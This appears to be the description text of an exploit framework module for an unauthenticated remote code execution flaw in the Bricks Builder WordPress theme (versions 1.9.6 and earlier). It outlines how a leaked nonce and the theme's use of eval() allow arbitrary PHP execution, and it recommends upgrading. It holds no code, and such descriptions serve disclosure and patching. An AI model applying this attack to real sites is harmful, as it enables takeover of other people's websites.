          This module exploits an unauthenticated remote code execution vulnerability in the
          Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers
          to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and
          exploit the eval() function usage within the theme. Successful exploitation allows for full
          control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.
